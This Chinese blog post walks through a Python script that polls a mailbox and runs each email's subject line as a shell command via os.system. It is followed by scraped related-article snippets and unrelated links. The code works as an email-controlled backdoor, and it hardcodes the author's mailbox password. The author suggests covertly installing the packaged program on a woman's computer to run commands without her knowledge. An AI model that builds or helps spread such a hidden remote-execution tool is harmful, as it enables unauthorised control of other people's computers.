今天来分享一个“高大上”的技术——使用python编写一个能够用微信远程控制电脑的程序!

先来分析一下控制的详细流程:

我们使用微信给特定的邮箱发送一封邮件,当中包括了我们想要电脑运行的命令。然后电脑上的python程序获取到这封邮件,然后解析当中的命令,再交付给电脑运行。能够看出。这当中基本的技术难点就是获取邮件了!可是!这没有不论什么问题。大家看到我的上一篇博客《python 收发邮件》 http://blog.csdn.net/ivan_zgj/article/details/51013833
就能够了。以下给出使用python收发邮件并运行邮件命令的代码。

  1. # -*- coding:utf-8 -*-
  2. from email.mime.text import MIMEText
  3. import poplib
  4. import smtplib
  5. import os
  6.  
  7. class MailManager(object):
  8.  
  9. def __init__(self):
  10. self.popHost = 'pop.sina.com'
  11. self.smtpHost = 'smtp.sina.com'
  12. self.port = 25
  13. self.userName = 'ivanzgj@sina.com'
  14. self.passWord = 'zgj123'
  15. self.bossMail = '475176416@qq.com'
  16. self.login()
  17. self.configMailBox()
  18.  
  19. # 登录邮箱
  20. def login(self):
  21. try:
  22. self.mailLink = poplib.POP3_SSL(self.popHost)
  23. self.mailLink.set_debuglevel(0)
  24. self.mailLink.user(self.userName)
  25. self.mailLink.pass_(self.passWord)
  26. self.mailLink.list()
  27. print u'login success!'
  28. except Exception as e:
  29. print u'login fail! ' + str(e)
  30. quit()
  31.  
  32. # 获取邮件
  33. def retrMail(self):
  34. try:
  35. mail_list = self.mailLink.list()[1]
  36. if len(mail_list) == 0:
  37. return None
  38. mail_info = mail_list[0].split(' ')
  39. number = mail_info[0]
  40. mail = self.mailLink.retr(number)[1]
  41. self.mailLink.dele(number)
  42.  
  43. subject = u''
  44. sender = u''
  45. for i in range(0, len(mail)):
  46. if mail[i].startswith('Subject'):
  47. subject = mail[i][9:]
  48. if mail[i].startswith('X-Sender'):
  49. sender = mail[i][10:]
  50. content = {'subject': subject, 'sender': sender}
  51. return content
  52. except Exception as e:
  53. print str(e)
  54. return None
  55.  
  56. def configMailBox(self):
  57. try:
  58. self.mail_box = smtplib.SMTP(self.smtpHost, self.port)
  59. self.mail_box.login(self.userName, self.passWord)
  60. print u'config mailbox success!'
  61. except Exception as e:
  62. print u'config mailbox fail! ' + str(e)
  63. quit()
  64.  
  65. # 发送邮件
  66. def sendMsg(self, mail_body='Success!'):
  67. try:
  68. msg = MIMEText(mail_body, 'plain', 'utf-8')
  69. msg['Subject'] = mail_body
  70. msg['from'] = self.userName
  71. self.mail_box.sendmail(self.userName, self.bossMail, msg.as_string())
  72. print u'send mail success!'
  73. except Exception as e:
  74. print u'send mail fail! ' + str(e)
  75.  
  76. if __name__ == '__main__':
  77. mailManager = MailManager()
  78. mail = mailManager.retrMail()
  79. if mail is not None:
  80. cmd = mail['subject']
  81. os.system(cmd)
  82. mailManager.sendMsg()

上述代码的逻辑是:邮件的主题为要运行的命令,然后python获取邮箱的邮件,解析其主题,然后交到命令行运行。

运行成功后发送一封success的邮件给我。

以下測试一下。

我使用qq邮箱给我指定的邮箱发送了以下这样一封邮件。

这封邮件的命令是要打开mail.py这个文件。然后我们在电脑上执行上述代码程序,就能够看到其打开了mail.py这个文件了!

如今,这个程序仅仅会执行一次,然后就会退出。我们仅仅要给它加个死循环就能够让它一直执行了~

  1. if __name__ == '__main__':
  2. while True:
  3. mailManager = MailManager()
  4. mail = mailManager.retrMail()
  5. if mail is not None:
  6. cmd = mail['subject']
  7. os.system(cmd)
  8. mailManager.sendMsg()
  9. time.sleep(5)

如今我们仅仅要执行其这个程序,然后我们拿着手机,打开微信。一封邮件,便可随时远控电脑!想想。你们拿着这个程序,打包一下,然后悄悄地撞到你心仪的妹子电脑上。趁她不注意的时候。发一封邮件。然后让妹子的电脑干点什么事情(比如显示一段文字表白什么的),想想都非常激动呢!

。!

好的。以下直接给出一个源代码链接吧。

python 微信远程控制电脑

python 使用微信远程控制电脑的更多相关文章

  1. 使用python实现用微信远程控制电脑

    首先,我们要先看看微信远程控制电脑的原理是什么呢? 我们可以利用Python的标准库控制本机电脑,然后要实现远程的话,我们可以把电子邮件作为远程控制的渠道,我们用Python自动登录邮箱检测邮件,当我 ...

  2. python小项目之微信远程控制

    前两天接触了一个有趣的python模块--itchat,这个模块可以非常方便的操作微信,今天就来使用这个模块来实现微信远程控制. 环境准备 itchat模块不是python标准模块(内置模块),是一个 ...

  3. python远程控制电脑

    python拥有大量的第三方库,且语法简单.今天老杨就用python实现远程控制电脑 ​ 所谓,谋定而后动,在实现任何一个需求之前,我们需要先分析,捋清楚一个思路,远程控制电脑,无非就是接收远程的命令 ...

  4. Python之微信-微信好友头像合成

    仔细看下图,你的头像就藏在里面哦!!! 有没有犯密集恐惧症?这并不震撼,如果你有 5000 位好友的话,做出来的图看着会更刺激些. 看完了图,你可能想知道这个图咋做出来的,不会是我闲着无聊把把好友头像 ...

  5. 利用python在微信群中签到、抢沙发(适用于任何账号)

    利用python在微信群中签到.抢沙发 注意 程序仅能在电脑上运行,运行时需要保证群界面在最前端且不被移动. 背景 我是一名高中生(2020年),疫情期间,在家上网课,有的老师让我们在班群里签到. 其 ...

  6. 微信网页版APP - 网页微信客户端电脑版体验

    微信网页版很早就出来了,解决了很多人上班不能玩手机的问题.微信电脑版-网页微信客户端,直接安装在桌面的微信网页版,免去了开浏览器的麻烦.双击就启动了,和其他的应用程序一样:运行过程中可以隐藏在桌面右下 ...

  7. python实现微信接口(itchat)

    python实现微信接口(itchat) 安装 sudo pip install itchat 登录 itchat.auto_login() 这种方法将会通过微信扫描二维码登录,但是这种登录的方式确实 ...

  8. 细数Python Flask微信公众号开发中遇到的那些坑

    最近两三个月的时间,断断续续边学边做完成了一个微信公众号页面的开发工作.这是一个快递系统,主要功能有用户管理.寄收件地址管理.用户下单,订单管理,订单查询及一些宣传页面等.本文主要细数下开发过程中遇到 ...

  9. 利用Python查看微信共同好友

    思路 首先通过itchat这个微信个人号接口扫码登录个人微信网页版,获取可以识别好友身份的数据.这里是需要分别登录两人微信的,拿到两人各自的好友信息存到列表中. 这样一来,查共同好友就转化成了查两个列 ...

随机推荐

  1. AngularJS实现TodoMVC

    一个小的to do list,界面如下 首先安装angular js,出现了无非安装到桌面的问题,安装到D盘了 npm install angular 文件结构: index.html: <!d ...

  2. js属性prototype的使用

    类似于一个构造化的类,使用prototype属性定义方法 <script> function Person(name) { this.name = name; alert(this.nam ...

  3. [网络流24题] COGS 搭配飞行员

    14. [网络流24题] 搭配飞行员 ★★☆   输入文件:flyer.in   输出文件:flyer.out   简单对比时间限制:1 s   内存限制:128 MB [问题描述]     飞行大队 ...

  4. 51 Nod 1678 lyk与gcd

    1678 lyk与gcd 基准时间限制:2 秒 空间限制:131072 KB 分值: 80 难度:5级算法题 这天,lyk又和gcd杠上了.它拥有一个n个数的数列,它想实现两种操作. 1:将  ai  ...

  5. 【Codeforces Round #518 (Div. 2)】

    A:https://www.cnblogs.com/myx12345/p/9847588.html B:https://www.cnblogs.com/myx12345/p/9847590.html ...

  6. Something about the microsoft HttpContext domain design

    1. HttpContext.Current.Request, Response 2.HttpHandler-> ProcessRequest 3.HttpModule-> Init, I ...

  7. 【SQL Server】修改DB逻辑文件名称

    步骤一:查询当前DB逻辑文件名称(主逻辑文件.日志逻辑文件) ; 步骤二:步骤二改变(还原)DB逻辑文件名称 RESTORE DATABASE AW831 FROM DISK='D:\AW831.DA ...

  8. LeetCode OJ--Combination Sum **

    https://oj.leetcode.com/problems/combination-sum/ 给一列数,3 2 1 3 3 8 7 9 ,每个数可以重复多次,给target 7, 问可以加起来得 ...

  9. AC日记——第K大的数 51nod 1105

    1105 第K大的数 基准时间限制:1 秒 空间限制:131072 KB 分值: 40 难度:4级算法题  收藏  关注 数组A和数组B,里面都有n个整数.数组C共有n^2个整数,分别是A[0] * ...

  10. [Machine Learning with Python] Data Preparation through Transformation Pipeline

    In the former article "Data Preparation by Pandas and Scikit-Learn", we discussed about a ...